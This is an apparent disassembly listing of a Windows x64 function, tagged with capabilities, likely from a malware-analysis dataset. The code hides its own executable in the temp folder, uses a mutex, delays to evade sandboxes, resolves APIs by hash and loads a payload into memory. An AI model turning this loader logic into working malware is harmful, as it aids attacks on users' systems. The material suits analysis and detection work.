Function at 0x14000a8e0
Capabilities:
Check mutex on windows
Create thread
Get common file path
Move file
Set file attributes

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x1020
lea rax, [0x14001c4e4]
mov qword [rsp + 0x110], rax
mov dword [rsp + 0xa8], 8
cmp dword [rsp + 0xa8], 1
jne 0x14000a922
jmp 0x14000a93d
mov dword [rsp + 0x58], 2
cmp dword [rsp + 0x58], 0xa
jge 0x14000a93d
mov eax, dword [rsp + 0x58]
inc eax
mov dword [rsp + 0x58], eax
jmp 0x14000a92a
lea rax, [0x14001c3f4]
mov qword [rsp + 0x118], rax
lea rax, [rsp + 0x3c0]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
mov dword [rsp + 0x5c], 0
lea rax, [rsp + 0x9f0]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
lea rax, [rsp + 0x5d0]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
lea rax, [rsp + 0x7e0]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
lea rax, [rsp + 0x1b0]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
call fcn.14000b660
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0x64], 0
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x100], 0
mov qword [rsp + 0xd8], 0
mov edx, 0x90
lea rcx, [0x14177cee0]
call fcn.140005a10
mov dword [rsp + 0x28], 0
lea rax, [0x14177cee0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x78]
lea r8, [rsp + 0xc8]
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x64]
call fcn.140007740
mov qword [rsp + 0xd8], rax
cmp qword [rsp + 0xd8], 0
jne 0x14000aa63
xor eax, eax
jmp 0x14000b21b
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 5
jge 0x14000aa7d
xor eax, eax
jmp 0x14000b21b
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 5
jge 0x14000aa97
xor eax, eax
jmp 0x14000b21b
mov rcx, qword [rsp + 0xc0]
call fcn.14000b6f0
cmp eax, 1
je 0x14000aab0
xor eax, eax
jmp 0x14000b21b
mov r8d, 0x104
lea rdx, [rsp + 0x5d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x14000aad1
xor eax, eax
jmp 0x14000b21b
mov r8d, 0x208
xor edx, edx
lea rcx, [rsp + 0x7e0]
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x5d0]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x5d0]
lea r8, [0x14001c520]
mov edx, 0x104
lea rcx, [rsp + 0x7e0]
call fcn.14000bec0
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [rsp + 0x7e0]
lea r8, [0x14000b960]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0xa0], rax
lea rdx, [rsp + 0x9f0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [rsp + 0x5c], eax
cmp dword [rsp + 0x5c], 0x104
ja 0x14000ab88
cmp dword [rsp + 0x5c], 0
jne 0x14000ab94
xor eax, eax
jmp 0x14000b21b
mov r8d, 0x104
lea rdx, [rsp + 0x3c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x14000abb5
xor eax, eax
jmp 0x14000b21b
mov r8d, 0x208
xor edx, edx
lea rcx, [rsp + 0x1b0]
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x9f0]
call qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashW]
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x9f0]
lea r8, [0x14001c530]
mov edx, 0x104
lea rcx, [rsp + 0x1b0]
call fcn.14000bec0
mov r8d, 1
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x14000accb
mov r8d, 0x208
xor edx, edx
lea rcx, [rsp + 0x1b0]
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x3c0]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x3c0]
lea r8, str._ws_ws
mov edx, 0x104
lea rcx, [rsp + 0x1b0]
call fcn.14000bec0
mov r8d, 0x104
lea rdx, [rsp + 0x3c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x14000ac9c
xor eax, eax
jmp 0x14000b21b
mov r8d, 1
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
mov edx, 6
lea rcx, [rsp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov qword [rsp + 0x98], 0
lea r8, str.Globale_Open_Lock
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0x98], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000ad3d
cmp qword [rsp + 0x98], 0
je 0x14000ad16
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x98], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0x7d0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
jmp 0x14000b21b
mov dword [rsp + 0x60], 0x82
call fcn.14000b3f0
test eax, eax
je 0x14000ad52
jmp 0x14000adcc
call fcn.1400049f0
mov qword [rsp + 0x108], rax
mov dword [rsp + 0x104], 4
mov qword [rsp + 0xe0], 0xa
imul eax, dword [rsp + 0xe0], 3
imul eax, eax, 0x64
mov dword [rsp + 0xac], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, dword [rsp + 0xac]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call fcn.1400049f0
sub rax, qword [rsp + 0x108]
cmp rax, qword [rsp + 0xe0]
jb 0x14000ad76
mov eax, dword [rsp + 0x60]
dec eax
mov dword [rsp + 0x60], eax
cmp dword [rsp + 0x60], 0
jl 0x14000ad45
call fcn.14000b840
test eax, eax
je 0x14000addc
xor eax, eax
jmp 0x14000b21b
call fcn.1400020e0
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0
jne 0x14000adfb
xor eax, eax
jmp 0x14000b21b
mov edx, 0x75e9d52
mov rcx, qword [rsp + 0x80]
call fcn.140005e50
mov qword [rsp + 0xf8], rax
mov edx, 0x5f582dc
mov rcx, qword [rsp + 0x80]
call fcn.140005e50
mov qword [rsp + 0x88], rax
cmp qword [rsp + 0xf8], 0
je 0x14000ae45
cmp qword [rsp + 0x88], 0
jne 0x14000ae4c
xor eax, eax
jmp 0x14000b21b
lea rax, [rsp + 0xe10]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
mov qword [rsp + 0xe8], 0
mov dword [rsp + 0xb0], 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r9, [rsp + 0xb0]
lea r8, [rsp + 0xe10]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
mov dx, 0x5c
lea rcx, [rsp + 0xe10]
call sub.msvcrt.dll_wcsrchr
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0xe8]
add rax, 2
mov rdx, qword [rsp + 0xd0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x14000aed9
xor eax, eax
jmp 0x14000b21b
mov qword [rsp + 0x50], 0
mov eax, dword [rsp + 0x64]
mov qword [rsp + 0x68], rax
mov r9d, 4
mov r8d, 0x1000
mov rdx, qword [rsp + 0x68]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x14000af18
xor eax, eax
jmp 0x14000b21b
mov r8, qword [rsp + 0x68]
mov edx, 0x90
mov rcx, qword [rsp + 0x50]
call sub.msvcrt.dll_memset
mov r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0x50]
call sub.msvcrt.dll_memcpy
lea r9, [rsp + 0x70]
mov r8d, 1
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x50]
call qword [rsp + 0x88]
cmp qword [rsp + 0xa0], 0
je 0x14000af8b
mov edx, 0x1388
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x104
lea rcx, [rsp + 0xc00]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov dword [rsp + 0xb4], eax
cmp dword [rsp + 0xb4], 0
jne 0x14000afc8
lea r8, str....._
mov edx, 0x104
lea rcx, [rsp + 0xc00]
call fcn.1400115b0
cmp qword [rsp + 0x78], 0
je 0x14000b0d2
mov rcx, qword [rsp + 0x78]
call fcn.140006190
cmp eax, 3
jbe 0x14000b0d2
mov rcx, qword [rsp + 0x78]
call fcn.140002790
test eax, eax
je 0x14000b0d2
mov edx, 0x68
lea rcx, [rsp + 0x140]
call fcn.140005a10
mov edx, 0x18
lea rcx, [rsp + 0x120]
call fcn.140005a10
mov dword [rsp + 0x17c], 1
xor eax, eax
mov word [rsp + 0x180], ax
mov edx, 0x7a24c98
mov rcx, qword [rsp + 0x80]
call fcn.140005e50
mov qword [rsp + 0xf0], rax
cmp qword [rsp + 0xf0], 0
jne 0x14000b05e
xor eax, eax
jmp 0x14000b21b
mov dword [rsp + 0x140], 0x68
mov dword [rsp + 0xb8], 0x8000000
lea rax, [rsp + 0x120]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x140]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xc00]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0xb8]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x78]
xor ecx, ecx
call qword [rsp + 0xf0]
mov dword [rsp + 0xbc], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8, qword [rsp + 0x50]
xor edx, edx
xor ecx, ecx
call qword [rsp + 0xf8]
mov qword [rsp + 0x90], rax
cmp qword [rsp + 0x90], 0
je 0x14000b200
mov ecx, 0x20
call fcn.14000b3a0
lea r9, [rsp + 0x70]
mov r8d, 4
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x50]
call qword [rsp + 0x88]
cmp dword [0x14177ceec], 0
jne 0x14000b16e
mov dword [rsp + 0x20], 1
mov r9d, 0x80
lea r8, [0x14177cef0]
mov edx, dword [rsp + 0x64]
mov rcx, qword [rsp + 0x50]
call fcn.140005b10
test eax, eax
jne 0x14000b16e
mov dword [0], 0
mov edx, 0x90
lea rcx, [0x14177cee0]
call fcn.140005a10
lea r9, [rsp + 0x70]
mov r8d, 0x10
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x50]
call qword [rsp + 0x88]
test eax, eax
je 0x14000b1f2
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x14000b1f2
cmp dword [0x14001c3f0], 0
jne 0x14000b1c0
call fcn.1400024a0
lea rcx, [0x14001c578]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
jne 0x14000b1df
lea rcx, [rsp + 0xc00]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
test eax, eax
je 0x14000b219
xor r8d, r8d
mov edx, 0x64
mov ecx, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
add rsp, 0x1020
pop rdi
ret